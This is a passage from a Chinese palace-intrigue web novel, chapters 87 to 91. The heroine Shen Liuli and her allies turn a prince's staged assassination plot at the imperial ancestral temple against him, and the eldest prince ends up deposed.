“是吗?”李昭笑了笑,他走到顾九的面前,伸出修长的手指,“不经意”地拂过了顾九的左肩。
“嘶——!”
顾九的身体,猛地一颤,倒吸了一口冷气。
“看来,先生的伤,确实不轻啊。”李昭收回手,关切的说道,“普渡寺那些僧兵,下手还是这么不知轻重。不过,孤倒是有些好奇,先生中的似乎并非箭伤吧?”
他顿了顿,将目光,投向了顾九早已毫无血色的脸:“那朵开在施主眉心的‘黑莲’,想必滋味很不好受吧?”
这句话,如同一道惊雷,在顾九的脑海中炸响!
他……他竟然连“黑莲佛印”都知道?!
“你……你到底是谁?!”顾九的声音里,终于带上了前所未有的惊骇!
“我是谁不重要。”李昭缓缓地走回书案后坐下,“重要的是,我知道你需要什么。”
他从书案的暗格中,取出了一个用白玉雕琢而成的小瓶,轻轻地放在了桌上。
“这里面,是‘凤凰胆’的粉末。”他缓缓说道,“虽然只有一钱,不足以根除那个孩子体内的寒毒,却也足以,为他续上三个月的性命。”
“至于先生你嘛……”他的目光,再次落在了顾九的身上,“孤虽然没有‘黑炼蓮佛印’的解药,却也知道,此毒需以至阳之物压制。孤府中,恰好藏有几坛,前朝‘兰陵坊’酿造的,三十年陈酿‘醉生梦死’。”
“此酒,以地火之精酿造,性属极阳,每日饮上一杯,虽不能解毒,却也能让先生,暂时压制住体内的毒性,多活个一年半载,不成问题。”
凤凰胆!
醉生梦死!
这两个,本该是他们费尽心机,都求而不得的东西,此刻竟被这个男人,如此轻描淡写地摆在了自己的面前!
顾九的心中,掀起了滔天巨浪!
他知道,自己已经没有选择了。
“殿下,”他缓缓开口,声音沙哑,“您到底想做什么?”
“不想做什么。”李昭看着他,脸上露出了一个,属于胜利者的笑容,“孤只是,想跟你们家主公,交个朋友罢了。”
“一个能为彼此,都带来好处的朋友
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。”
他说着,便将那张“悦来客栈”的纵火路线路图,从医经的夹层中,抽了出来。
“这张图,画得不错。”他将图纸,在顾九的面前,缓缓展开,“只是,光有这张图,还不够。”
“孤知道,你们手上还握着一张,比这张图更有分量的王牌。”
他看着顾九,继续说道:“孤要的,是他身后那三千私兵的全部罪证。”
……
半个时辰后,当顾九失魂落魄地,从二皇子府的书房走出来时,天边已经泛起了一抹鱼肚白。
他的手上,提着一个沉甸甸的食盒。食盒里,是一小瓶“凤凰胆”的粉末,以及三坛绝世佳酿。
而他的心中,却比任何时候,都更要沉重。
他知道,自己今夜,与魔鬼定下了一个盟约。
“怎么?被吓傻了?”
一个懒洋洋的声音,忽然从他身旁,那辆看起来毫不起眼的马车里传来。
车帘掀开,露出的,竟是陆风那张冰山脸。
“你……你怎么会在这里?!”顾九看着他,目瞪口呆。
“主公不放心你。”陆风的回答,简单直接,“她让我在这里,接应你。”
“接应我?”顾九自嘲地笑了笑,“我看,是来给我收尸的吧?”
他将手中的食盒,递了过去。
“走吧,回去。”他的声音里,充满了疲惫,“我们这位主公,怕是要有**烦了。”
……
当沈琉璃,从顾九的口中,听完昨夜那场惊心动魄的交锋后,她没有半分意外。
她只是,静静地看着桌上那瓶,足以决定张家公子生死的“凤凰胆”,许久,才缓缓地开了口。
“他要我们,什么时候动手?”
“三天后。”顾九的回答,充满了凝重,“三天后,是陛下一年一度,前往‘太庙’祭祖的日子。届时,都城内大半的禁军,都会随驾护卫,城中守备,最为松懈。”
“他说,那是我们动手的最好时机。”
“最好时机?”君北玄在她脑中,冷笑一声,“那也是他,将我们所有人,都一网打尽的最好时机!”
“没错。”沈琉璃点了点头,“他这是在逼我们,去当那只,替他火中取栗的猫。”
“那我们……”
“这只猫,我们当了。”沈琉璃的眼中,闪过了一抹决然。
她站起身,走到舆图前,指尖在那座,代表着“大皇子府”的标记上,重重一点!
“传我的令!”她的声音不大,却充满了力量,“三天后,我们不仅要将大皇子,连根拔起!”
“我还要让那位,自以为是‘黄雀’的二殿下,清清楚楚地看到!”
“有时候,猫也是会**的!
第88章 谋划
陆风和顾九对视一眼,都从对方的眼神里看到了难以抑制的兴奋。
看来,自己这位主公,又要开始“发疯”了。
“小姐,您……您真的要这么做吗?”春桃早已是吓得小脸发白,她看着舆图上那密密麻麻的标记,只觉得自己的脑子已经不够用了,“这可是太庙啊!是咱们乾国最神圣的地方!咱们要在那里,跟两位皇子殿下掰手腕?”
“不然呢?”顾九懒洋洋地靠在椅子上,将那瓶“凤凰胆”的粉末,如同宝贝一般抱在怀里,还不忘发挥自己的毒舌本色,“难不成,还真等着人家把刀架在你家小姐的脖子上,再问她‘你想**’吗?小丫头,你记住,最好的防守,就是让你的敌人,永远也猜不到你下一步想做什么。”
“可……可这也太冒险了!”
“冒险?”顾九嗤笑一声,“小爷我这辈子,做的就是冒险的买卖。想当年,我跟着王爷在北境,被三万蛮族骑兵围困在‘鬼见愁’,喝的都是马尿。那才叫冒险,现在这个嘛……”
他顿了顿,打了个哈欠,“顶多只能算是,饭后的一场助兴表演罢了。”
他说得云淡风轻,在不经意间,瞥了一眼,从始至终都一言不发的陆风。
陆风没有参与他们的讨论,他只是,默默地走到了自己的玄铁刀前,用一块干净的布帛,一遍又一遍地仔细擦拭着。
刀身如秋水,寒光凛冽,他的动作,很慢,很稳。每一个动作,都充满了军人临战前的仪式感。
他虽然一言不发,但他的行动,却早已表明了他的态度。
战!
“胡闹!简直是胡闹!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
“沈琉璃,你到底想做什么?!太庙是什么地方?!那是你们乾国皇室的宗庙!是整个国家,防卫最森严的地方!你竟想在那里动手?!”
在他看来,选择在敌人的主场,还是一个防卫最森严的主场动手,无异于**!
“王爷,”沈琉璃在心里,耐心地解释道,“最危险的地方,往往也最安全。”
“太庙的防卫,固然森严。可也正因为如此,所有人的注意力,都会集中在陛下的安危上。谁会想到,我们这群小人物,竟敢在那里掀起一场风暴?”
“而且,”她微笑着说道,“您不觉得,在列祖列宗的牌位前,亲手揭露一个‘不肖子孙’的罪行,是一件很有仪式感的事情吗?”
君北玄沉默了。
“那你打算如何?”他问道,“那位二皇子李昭,可不是什么省油的灯。他既然敢将‘凤凰胆’交给你,就说明他有绝对的把握,能将你这只‘猫’牢牢地控制在他的股掌之间。”
“我知道。”沈琉璃点了点头,“所以,我们才更要好好准备。”
她站起身,走到舆图前,对着众人说道。
“第一步,‘示敌以弱’。”
她将目光,投向了顾九。
“顾先生,从现在起,我需要你,将张家公子的‘病情’治得更重一些。”
“更重?”顾九一愣。
“没错。”沈琉璃点了点头,“我不仅要让所有人都知道,我沈琉璃为了救人,正在倾尽所有。我更要让那位,自以为是的二殿下,清清楚楚地看到,他送来的那份‘凤凰胆’,根本就是杯水车薪,毫无用处!”
“我要让他觉得,我这只‘猫’,已经走投无路,只能将所有的希望,都寄托在他的身上!”
“只有这样,他才会放下所有的戒备,心甘情愿地走进我们为他准备的陷阱。”
“第二步,”她的目光,又转向了陆风,“‘暗度陈仓’。”
“陆将军,我需要你,秘密地与张启年将军取得联系。”
“将我们手中,那份大皇子豢养私兵的证据,亲手交给他!”
“什么?!”君北玄在她脑中,第一个提出了反对,“你疯了吗?!那是我们最后的王牌!你竟要将它,交到一个随时都有可能叛变的人手上?!”
“王爷,”沈琉璃在心里,平静地回应,“这叫‘投名状’。”
“我要让张启年知道,我沈琉璃信他。我不仅信他,我还要将我们所有人的身家性命,都押在他的身上!”
“只有这样,他才会彻底地斩断所有的退路,成为我们手中,最锋利的一把刀!”
“至于这最后一步嘛……”沈琉璃的眼中,闪过了一抹狠戾。
“那便是,‘请君入瓮’!”
她将目光,投向了舆图上,那座代表着“太庙”的标记。
“三日后,祭祖大典上,我要让那位,自以为是‘黄雀’的二殿下,亲眼见证一场,由他大哥亲手为他上演的……”
“逼宫大戏!”
……
接下来的两天,整个乾国都城,都笼罩在一种,山雨欲来的压抑气氛中。
大皇子府,闭门谢客。
二皇子府,风平浪静。
三皇子府,愁云惨雾。
所有的一切,都显得那么地正常。
可在这份虚假的平静下,三股暗流,正在疯狂地涌动着。
张府内,顾九的“救治”大戏,演得愈发逼真。
他每日里,不仅要对着一个小屁孩,唉声叹气,还要应付爱子心切的张夫人。
“神医啊!”张夫人拉着他的手,哭得梨花带雨,“我儿他怎么会这样啊?您不是说,那‘凤凰胆’是神药吗?为何他服下之后,病情反而更重了?”
“唉,夫人,您有所不知啊。”顾九一脸“沉痛”地摇着头,“令郎他体内的寒毒,早已是深入骨髓。那‘凤凰胆’,虽然是神药,却也只能暂时吊住他一口气。想要根除此毒,怕是……怕是……”
他没有再说下去,但那未尽之意,却让张夫人的心,再次沉入了谷底。
而这场喧嚣的“救治”,也通过各种渠道,一字不落地传到了二皇子李昭的耳中。
“哦?”
书房内,李昭听完下人的汇报,脸上露出了一个微笑。
“看来,孤这位表妹,确实是走投无路了。”他将手中的书卷,缓缓地合上,“既然如此,那我们便再帮她一把。”
“传孤的令,”他对着身后的阴影,淡淡地吩咐道,“去,将我们的人,都给孤安排下去。”
“三天后,太庙内,孤要亲眼看看,他们到底想唱一出什么样的好戏。”
……
夜,三更。
一道黑影,悄无声息地落在了顾九客房的窗外。
正是陆风。
他将一个铁盒,从窗户的缝隙里,塞了进去。
顾九接过铁盒,将其打开。
里面静静躺着的,正是那份,足以让整个乾国皇室,都天翻地覆的铁证!
他没有犹豫,立刻将铁盒,藏入了自己药箱的夹层里。
随即,他快步走到书案前,铺开一张空白的宣纸,提笔蘸饱了墨。
在那
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张洁白的宣纸上,写下了两个大字。
“收网!”
当顾九那封写着“收网”二字的鸡毛信,悄无声息地送到尚书府时,距离太庙祭祖大典,只剩下最后一天。
这一夜,乾国都城,无风,无月。
晚晴居内,春桃将之前那件“血色嫁衣”,小心翼翼地挂在了衣架上。那抹如同火焰般燃烧的红色,在满室烛火的映照下,竟显得有几分妖异。
“小姐,您……您真的要穿这件去吗?这也太扎眼了!”春桃看着这件,颜色夺目的“战袍”,声音里还是带着几分不安,“奴婢听说,太庙祭祖,最是讲究庄严肃穆,您穿这身去,怕是会惹人非议的。”
“我就是要让他们,非议。”
沈琉璃正坐在窗边,手里捧着一杯早已凉透了的茶水。
“哼,”君北玄的声音,在她脑海中响起,充满了对她的鄙夷,“太庙是什么地方?那是乾国皇室的宗庙,防卫森严!你穿这么一身红,生怕别人看不见你吗?这要是放在战场上,你就是敌方弓箭手眼里,最完美的活靶子!”
这是一个将军的判断,在他看来,她的行为简直愚蠢异常。
“王爷,您说的对。”沈琉璃在心里,不紧不慢地回应,“我这身红衣,不是为了杀敌。而是为了,让我流出的‘血’,能被所有人,都看得清清楚楚。”
“那二皇子李昭呢?”他换了个话题,“你当真就如此信他?将所有的希望,都寄托在一个,随时都有可能反咬你一口的毒蛇身上?”
“我自然不信他。”沈琉璃摇了摇头,“我信的,是他的野心。”
“李昭此人,隐忍多年,所图甚大。他之所以会选择与我们合作,不过是因为,我们是他手中,唯一一把能伤到大皇子的刀罢了。”
“他想当‘黄雀’,坐收渔翁之利。可他却不知道,”她的眼中,闪过了一抹狠戾,“有时候,螳螂也是会转身,咬断黄雀的喉咙的。”
……
第二日,清晨。
天色阴沉,铅灰色的云层低低地压在皇城的琉璃瓦上,零星的雪花,开始从空中飘落。
整个乾国都城,都笼罩在一种,庄严肃穆的气氛中。
太庙祭祖,乃是乾国一年一度,最隆重的典礼。
这一日,文武百官,皇室宗亲,都需身着朝服,步行前往太庙,以示对列祖列宗的敬畏。
当尚书府的马车,在距离太庙还有一里地的街口停下时,沈从安亲自为女儿,掀开了车帘。
他看着那个,身着血色长裙,从马车上缓缓走下的女儿,眼睛里,闪过了一抹担忧的神色。
“琉璃,”他声音沙哑,“你……你真的想好了吗?”
“父亲,”沈琉璃对着他,盈盈一拜,“开弓没有回头箭。”
她没有再多说什么,只是在春桃的搀扶下,一步一步地,朝着那座皇家宗庙,缓缓走去。
她的出现,瞬间便吸引了所有人的目光!
“那……那是谁?!”
“是尚书府的沈大小姐!她怎么会在这里?!”
“天哪!她竟敢穿一身红衣来参加祭祖大典?!她疯了吗?!”
无数的窃窃私语,如同潮水一般,从四面八方涌来。
可沈琉璃却像是没有听到一样,她的脸上,没有半分表情,那双清澈的眼眸,只是平静地,注视着前方。
她知道,从她穿上这身红衣的那一刻起,她便已经没有退路了。
第89章 刺杀
太庙前,早已是旌旗招展,戒备森严。
数千名身着重甲的禁军,如同雕塑一般,分列于丹陛两侧,将整个太庙,都围得水泄不通。
大皇子李裕,身着亲王规制的四爪金龙袍,头戴玉冠,脸上挂着矜持的笑容。
当他看到那个,身着红衣,款款而来的少女时,眼中闪过了毫不掩饰的轻蔑。
在他看来,这不过是,一个将死之人,最后的疯狂罢了。
二皇子李昭,独自一人站在最不起眼的角落里,安静地看着手中的书卷。仿佛,周围的一切,都与他没有半分关系。
而三皇子李琰,则对着她,不易察觉地轻轻地点了点头。
“时辰到——!”
随着太监那一声悠长尖利的唱喏,祭祖大典,正式开始了。
皇帝君宏德身着一身庄重的龙袍,在一众皇室宗亲的簇拥下,缓缓地走上了祭台。
繁复而又冗长的祭祀典礼,有条不紊地进行着。
焚香,祷告,跪拜……
所有的一切,都显得那么地正常。
可所有人都知道,这不过是暴风雨前,最后的宁静。
终于,当皇帝君宏德,从陈公公的手中,接过那三支代表着“天地人”的头香,准备将其插入祭台中央那只,巨大的青铜鼎中的时候。
“陛下!小心!”
一声暴喝,忽然从人群中炸响!
只见一名,本该是负责护卫皇帝安全的禁军统领,竟不知何时,悄无声息地出现在了皇帝的身后!
他的手中,握着一柄早已出鞘的**,刀锋上闪烁着幽蓝色的光芒,直刺皇帝的后心!
这一下,太过突然!
快到连站在皇帝身旁的陈公公,都完全没有反应过来!
所有人的脸上,都露出了不敢置信的惊骇!
行刺皇上?!
竟真的有人,敢在太庙这种地方,行刺当今天子?!
然而,就在那柄淬了剧毒的**,即将刺入皇帝身体的瞬间。
“铛——!”
一声清脆的金铁交鸣之声响起!
只见大皇子李裕,不知何时竟已挡在了皇帝的身前!他用自己手中的佩剑,精准地格开了那致命的一击!
“护驾!快护驾!”
他声嘶力竭地吼道,随即与那名刺客,缠斗在了一起!
整个太庙,彻底乱成了一锅粥!
“漂亮,好一出‘贼喊捉贼’的苦肉计。”君北玄在她脑中,冷冷地说道,“这个李裕,倒还有几分脑子。”
沈琉璃没有说话,她只是死死地攥着拳头,看着眼前这出,由大皇子亲手为他们所有人,导演的好戏。
她知道,真正的战争,现在才刚刚开始。
那名行刺的禁军统领,武功极高,招式狠辣,竟与大皇子斗了个旗鼓相当。而周围的禁军,则像是被这突如其来的变故给吓傻了一般,竟无一人上前支援!
就在这片混乱中,另一名禁军,忽然高声喊道:“不好!有内应!是三皇子的人!他们要谋反!”
他一边喊,一边将手中的长刀,指向了那个,早已是面无人色的三皇子李琰!
一瞬间,所有人的目光,都聚焦在了李琰的身上!
“一派胡言!”李琰的幕僚,林大学士,第一个反应了过来,声嘶力竭地辩解道,“这是栽赃!是陷害!”
可他的声音,显得是那么的苍白无力。
因为,所有人都看到,那名正在与大皇子缠斗的刺客,其腰间的令牌,正是属于,由三皇子所管辖的,城南卫戍部队!
人证,物证,俱在!
且逻辑链条完整,天衣无缝!
一开场,三皇子李琰便陷入了百口莫辩的死局!
而大皇子李裕,则在与刺客的“缠斗”中,故意卖了个破绽,被对方的**,在胳膊上划开了一道不深不浅的口子!
“大哥!”
二皇子李昭发出一声“惊呼”,连忙上前将他扶住。
“我没事!”李裕推开他,指着那个,已经被数名禁军制服的刺客,痛心疾首地说道,“父皇!您都看见了!三弟他,竟敢在列祖列宗的牌位前,行此等大逆不道之事!儿臣恳请父皇,下旨将此等乱臣贼子,就地格杀!以正国法!”
他这番话说得声情并茂,将所有人的目光,都聚焦在了皇帝的身上,等待着他最后的宣判。
太庙祭台上,大皇子李裕的声音掷地有声。
三皇子李琰面如死灰,他身旁的林大学士等人更是手脚冰凉,他们怎么也没想到,对方竟会用如此狠毒的方式,将他们逼入了万劫不复的死局!
“栽赃?陷害?”李裕脸上露出了一个凄厉的笑容,“铁证如山,你还想狡辩?!”
他猛地扯下刺客腰间的令牌,高高举起,对着皇帝,声泪俱下:“父皇!此乃城南卫戍部队的统领令牌!人尽皆知,城南卫戍,一直由三弟掌管!如今,他的人竟敢在太庙行刺,其心可诛!”
皇帝君宏德的面容,看不出任何表情。他缓缓地抬起手,似乎就要落下,决定生死的宣判。
“父皇,且慢。”
一个温润的声音,忽然从角落里响起。
是二皇子李昭。
他缓缓地从队列中走出,先是对着皇帝,躬身一拜,随即才将目光,投向了那枚,被李裕高高举起的令牌。
“大哥,小弟愚钝,只是有一事不明。”他看似随意地问道,“我记得,我朝军制,三品以上将领的令牌,皆由兵部统一铸造,以玄铁为材,上刻‘鹰啸’图腾,以示皇权特许。”
“可大哥您手中这枚令牌,质地似乎并非玄铁,倒像是寻常的青铜。而且,上面的图腾,似乎也并非‘鹰啸’,倒更像是一只嗷嗷待哺的雏鸡?”
他这番话,像一记无声的耳光,狠狠地扇在了李裕的脸上!
“你!”李裕的脸色,瞬间变得无比难看!
他怎么也没想到,这个一向只知道读书的老二,竟会在此刻站出来,为老三说话!
“二弟说笑了。”他强作镇定地冷笑道,“军中令牌样式繁多,偶有不同,也是常理。如今,人证物证俱在,二哥又何必在此处混淆视听?”
“我自然不是在混淆视听,我只是觉得此事太过蹊跷。”李昭摇了摇头,继续说道,“三弟他虽然平日里行
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事鲁莽了些,却也不至于,蠢到带着一枚,连样式都对不上的假令牌,来行刺父皇吧?”
“这……这不是自寻死路吗?”
他这番话,看似是在为李琰开脱,实则却是字字诛心!
他没有直接反驳李裕的指控,他只是,在所有人的心中,埋下了一颗“怀疑”的种子!
“好一招‘釜底抽薪’,这个李昭,比他那个只知道喊打喊杀的大哥,要聪明得多。”君北玄在她脑中,冷冷地说道,“他这是在告诉皇帝,你大儿子设下的这个局,漏洞百出,简直是在侮辱所有人的智商。”
“王爷,”沈琉璃在心里,平静地回应,“现在,该我们落子了。”
就在李裕,被李昭这番话,噎得脸色一阵青一阵白,不知该如何反驳的时候。
那个一直沉默不语的少女,终于动了。
她缓缓地,从人群中走了出来。
“陛下,”她对着皇上,盈盈一拜,声音不大,却异常清晰,“臣女以为,二殿下所言,有理。”
她的出现,瞬间便将所有人的目光,都吸引了过去。
“你这个**!这里哪有你说话的份?!”李裕看着她,眼中充满了怨毒。
“大哥此言差矣,沈大小姐乃是父皇亲定的,未来嫁入大徽的太子妃。”李昭却笑着打断了他,“她的安危,事关两国邦交。如今,她既然也被卷入了这场风波,自然有为自己辩解的权利。”
他这番话,看似是在帮沈琉璃,实则却是将她,推到了风口浪尖!
“多谢二殿下。”沈琉璃对着他,微微颔首,随即又将目光,转向了那个“刺客”。
“我且问你,”她看着他,缓缓开口,“你说,你是受了三殿下的指使,前来行刺。那敢问,你与三殿下之间,是如何联系的?又是如何,将这柄淬了剧毒的**,带入这戒备森严的太庙的?”
那刺客闻言,眼中闪过了一抹慌乱,但还是咬着牙,从喉咙里挤出了几个字:“我自有我的办法!”
“是吗?”沈琉璃笑了笑,“那我再问你,你既然是三殿下的人,为何你行刺之时,三殿下却毫无准备,甚至连一个能接应你的人都没有?”
“这……”
“你该不会是想说,”沈琉璃露出一抹讥讽的神情,“三殿下他,是想让你在行刺成功后,再自行了断,为你全家,换一个‘满门忠烈’的牌坊吧?”
她这番话,看似是在审问刺客,实则却是将大皇子李裕的说辞,给提前堵**!
“你……你胡说八道!”那刺客被她问得,方寸大乱,只能色厉内荏地反驳。
“我胡说?”沈琉璃摇了摇头,“其实,你也是个可怜人。你不过是,被人当成了一枚,用完即弃的棋子罢了。”
她顿了顿,话锋一转,声音陡然变得冰冷!
“你以为,你今日就算**,你的家人便能安然无恙吗?!”
“你错了!”
“就在昨夜,你那远在江南老家的妻儿老小,早已被一场‘意外’的大火,给烧得干干净净!”
“而放火之人,便是让你来此地送死的主子!”
第90章 图穷匕见
这句话,如同一道惊雷,在刺客的脑海中炸响!
“不……不可能……”他看着沈琉璃,眼中充满了恐惧,“你怎么知道?!”
“我怎么知道?”沈琉璃冷笑一声。
她没有再理会这个“刺客”,而是将目光,投向了大皇子!
“殿下,”她看着他,说道,“您这招卸磨杀驴,用得可真是炉火纯青啊。”
“只可惜,”她的眼中,闪过了一抹狠戾,“您杀错了人,也算错了账!”
她猛地转过身,对着皇帝,重重地跪了下去!
“陛下!”她的声音,响彻了整个太庙,“臣女有罪!”
“臣女斗胆,恳请陛下,传一人上殿!”
“只要此人一到,今日这桩‘谋逆’大案,便可真相大白!”
“传谁?!”皇帝的声音里,也带上了几分凝重。
沈琉璃抬起头,缓缓地吐出了一个名字。
“京畿卫戍,左将军,张启年!”
听到“张启年”的名字,大皇子李裕的脸色,在一瞬间变得惨白!他怎么也没想到,沈琉璃竟会在这个时候,将张启年给拖下水!
“父皇!”他“噗通”一声跪了下来,声泪俱下地哭诉道,“儿臣冤枉啊!这张启年,分明就是沈琉璃的同党!她此刻传他上殿,不过是想让他,来为自己做伪证罢了!”
“是不是伪证,传他上殿一问便知。”二皇子李昭的声音,不紧不慢地响起,将李裕的希望,给彻底掐灭了。
“传。”
皇帝君宏德缓缓地,吐出了一个字。
……
半个时辰后,身着一身重甲的张启年,快步走入了太庙。
他一进来,便对着皇上,单膝跪地。
“末将张启年,参见陛下!”
“张爱卿,平身。”皇帝看着他,“今日,传你前来,是有一桩案子,需要你来对质。”
他说着,便将那枚青铜令牌,扔到了张启年的面前。
“你可认得此物?”
张启年看了一眼那枚令牌,又看了看那个,早已瘫软如泥的“刺客”,脸上露出了一个“震惊”的表情。
“回禀陛下!”他对着皇帝,重重一抱拳,“此人,末将认得!他乃是末将麾下,一名负责看管军械库的百夫长!平日里最好赌,欠了一屁股的烂账!末将万万没有想到,他竟会做出此等大逆不道之事!末将监管不力,罪该万死!”
他这番话,看似是在“认罪”,实则却是将自己,摘得干干净净!
“哦?”皇帝看着他,“那这枚令牌呢?”
“回禀陛下,”张启年一脸“羞愧”地说道,“此乃末将前些时日,在军中大比时,赏给他的玩物罢了,并非我朝制式的军令!”
这个答案,彻底地将大皇子李裕,钉在了耻辱柱上!
“你……你胡说!”李裕指着他,气得浑身发抖,“你分明就是……”
“殿下!”张启年却猛地抬起头,打断了他,眼中充满了怒火!
“末将虽然有罪,却也容不得殿下,如此污蔑!”
他猛地从自己的怀中,取出了一个用油布包裹得严严实实的铁盒,高高举起!
“陛下!”他的声音,响彻了整个太庙,“末将今日,不仅要认罪!更要揭发一桩,足以动摇我乾国国本的惊天阴谋!”
“末将要揭发的,便是大皇子殿下他……”
“豢养兵马,意图谋逆!”
张启年的指控,让所有人的目光,都如同见了鬼一般,在他和大皇子之间,来回扫视。
“你……你……”大皇子李裕的嘴唇,剧烈地颤抖着,他指着张启年,“你竟敢血口喷人?!你这个叛徒!”
“来人!”他猛地转过身,对着身后的禁军,声嘶力竭地吼道,“给孤将这个,意图构陷皇子的乱臣贼子,就地格杀!”
然而,这一次,那些平日里对他唯命是从的禁军,却无一人敢动。
因为,皇帝缓缓地抬起了手。他没有说话,只是做了一个简单的,向下按压的手势。
“张将军,”皇帝的声音,依旧是那般平静,听不出喜怒,“你说,裕儿他意图谋逆?”
“是!”张启年抬起头,将手中的铁盒,高高举起,声如洪钟!
“陛下!此乃大皇子殿下,与末将之间所有的往来密信!以及,他命末将,在京郊大营秘密豢养的三千私兵的军官名册!上面清清楚楚地记载着,他是如何用末将儿子的性命,来要挟末将为他卖命!又是如何坑杀沈大小姐的!”
“证据,皆在此处!请陛下明察!”
他说完,便将那个沉甸甸的铁盒,恭恭敬敬地呈给了陈公公。
陈公公走下祭台,接过铁盒,又缓步走了回去。
所有人都知道,那个小小的铁盒里装的,是一个王朝储君的催命符!
“一派胡言!”李裕的心理防线,在这一刻彻底崩溃!
他连滚带爬地,扑到了皇帝身前,死死地抱住了皇帝的大腿,声泪俱下地哭诉道:“父皇!儿臣冤枉啊!这都是栽赃!是陷害!是他们!是沈琉璃那个**,联合了老三,收买了张启年,一起来构陷儿臣的啊!”
他这番话,说得情真意切,若是在平日里,或许还会有人信他三分。
可现在,在那如山的铁证面前,他所有的辩解,都显得是那么的苍白无力。
皇帝没有理会他,他只是缓缓地打开了那个铁盒。
他看得很慢,很仔细,几乎是一个字一个字地在心里默读。
整个太庙,只剩下他翻阅信纸时,那轻微的“沙沙”声。
许久,他才缓缓地,合上了那份,足以让整个乾国皇室,都天翻地覆的铁证。
他没有愤怒,没有咆哮。
他只是,缓缓地看着那个还在抱着自己大腿的长子。他伸出手,轻轻地为他擦去了脸上的泪痕。
“裕儿啊,”他的声音充满了关怀,“你说,你冤枉。”
“那你不妨告诉父皇,”他的目光,如同刀子一般,死死地盯住了李裕的眼睛,“你府上那三千套重甲,又是从何而来啊?”
这句话,如同一道惊雷,在李裕的脑海中炸响!
他猛地抬起头,不敢置信地看着自己的父皇!
他……他怎么会知道?!
此事,是他最大的秘密!是他为自己准备的,最后的底牌!除了他和安王叔外,绝不可能有第三个人知道!
“看来,你是不准备说了。”皇帝摇了摇头,脸上露出了一个失望的表情。
他没有再看这个,早已是面如死灰的长子,而是将目光,投向了二皇子李昭。
“昭儿,你今日护驾有功。”他缓缓开口,“只是,朕倒是有些好奇,你是如何能一眼,便断定那枚令牌,是伪造的呢?”
李昭的心,猛地一跳!
他知道,父皇这是在敲打他!
“回父皇,”他连忙躬身,“惶恐”的说道,“儿臣只是,平日里喜读一些杂书,对前朝的军制,略有涉猎罢了,不
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敢当‘功’字。”
“是吗?”皇帝笑了笑,不置可否。
随即,他的目光又转向了三皇子李琰。
“琰儿,你今日也同样有功。”他看着这个“一脸无辜”的儿子,“只是,朕也同样好奇,你又是如何能,如此凑巧地出现在那场‘鸿门宴’上的呢?”
李琰的脸色,在一瞬间变得惨白!
“父皇明鉴!”他“噗通”一声跪了下来,“儿臣只是担心表妹的安危,这才……”
“好了。”皇帝摆了摆手,打断了他,“朕都明白。”
他说完,便不再理会这两个,早已是冷汗直流的儿子。而是将目光,投向了身穿一袭红衣的少女。
“至于你嘛……”他看着沈琉璃,脸上露出了一个和善的笑容,“丫头,你今日当居首功。”
“只是,朕也同样好奇,”他的声音,变得无比幽冷,“你一个深居简出的弱女子,又是如何能,对军中的**、后勤补给,都了如指掌的呢?”
这句话,如同一盆冰水,将沈琉璃的心,瞬间浇得冰冷!她知道,皇帝这个老狐狸,终于要亮出他最后的獠牙了!
他不是在审问大皇子。
他是在审问他们所有人!
“好一招‘帝王心术’,这个老家伙,远比我们想象中,还要可怕得多。”君北玄在她脑中,冷冷地说道,“他这是在告诉你们,你们所有人的小把戏,他都已看穿,他才是这盘棋局上,唯一的棋手!”
沈琉璃的心,沉入了谷底。就在她准备,开口辩解的时候。
一个苍老的声音,忽然从人群中响起。
“陛下!”
只见靖亲王,不知何时竟已从座位上站起,他拄着拐杖,颤颤巍巍地走到了大殿中央。
“老臣以为,”他看着皇帝,缓缓开口,“今日之事,罪魁祸首,只有一个。”
“那便是,大皇子李裕!”
他这番话,掷地有声!
将所有的罪责,都精准地给到了大皇子身上!
“至于二殿下、三殿下,以及沈大小姐。”他话锋一转,“他们虽然行事孟浪了些,却也同样,是为了揭露奸佞,护卫君父。功过相抵,已是足够。”
“陛下若是在此刻,还要深究他们的用心,怕是会寒了天下所有忠臣义士的心啊!”
他这番话,说得大义凛然,竟让皇帝也一时语塞。
“皇叔说的是。”最终,皇帝缓缓地点了点头。
他知道,靖亲王这是在逼他,做出最后的选择了。
“传朕旨意!”他的声音,响彻了整个太庙。
“大皇子李裕,心怀叵测,意图谋逆,罪无可恕!即刻起,废黜其太子之位,贬为庶人,终身圈禁于宗人府!任何人不得探视!”
“其党羽,交由三司会审,严惩不贷!”
“至于张启年嘛……”皇帝看了一眼那个,还单膝跪在地上的将军,“你虽然举报有功,但私养兵马乃是重罪。功过相抵,朕免你死罪。”
“即刻起,废除你所有官职,贬为庶民,三日之内,举家迁离都城!”
这个判决,不可谓不重。
却也同样,给了张启年,一条活路。
“谢陛下隆恩!”张启年重重地磕了一个头,声音沙哑。
他知道,自己虽然失去了一切,却也同样换来了新生。
一场惊心动魄的宫廷政变,就这么落下了帷幕。
然而,所有人都知道,这不过是,另一场更残酷的战争的开始。
第91章 新的棋局
当皇帝那道废黜储君的圣旨,从太庙传到乾国都城的每一个角落时,一场惊心动魄的宫廷政变,终于落下了帷幕。
废太子李裕被连夜押入宗人府,那座曾经象征着无上荣耀的大皇子府,也在一夜之间被禁军查封,门上贴着的封条,在清冷的晨光下,显得格外刺眼。
曾经煊赫一时的**羽,树倒猢狲散,被抓的被抓,被贬的被贬,整个乾国朝堂,都迎来了一场大清洗。
而在这场风暴中,几家欢喜,几家愁。
二皇子李昭与三皇子李琰,因“护驾有功”,皆得到了皇帝的口头嘉奖,一时间门庭若市,风光无两。
可所有人也心知肚明,皇帝并未册立新太子,这便意味着,乾国储位悬空,一场更残酷的夺嫡之争,才刚刚拉开序幕。
……
尚书府,晚晴居。
当沈琉璃乘坐着宫中派来的马车,重新回到这座熟悉的庭院时,已是深夜。
父亲沈从安早已等候在门口,他看着那个,从马车上缓缓走下的女儿。有后怕,有欣慰,但更多的是一种,连他自己都未曾察觉的陌生。
他发现,自己似乎已经,完全看不透这个女儿了。
“父亲。”沈琉璃对着他,盈盈一拜。
“……回来就好。”最终,这位不善言辞的父亲,也只是拍了拍女儿的肩膀,“去吧,好好歇息。”
他没有再多说什么,只是转身离去。那背影,在清冷的月光下,显得格外苍老。
沈琉璃看着父亲的背影,心中五味杂陈。
她知道,自己虽然赢了,却也同样,将整个沈家都绑在了自己这辆,早已无法回头的战车上。
“小姐!您可算回来了!”
春桃提着灯笼,从院内一路小跑着迎了出来,脸上满是喜悦。
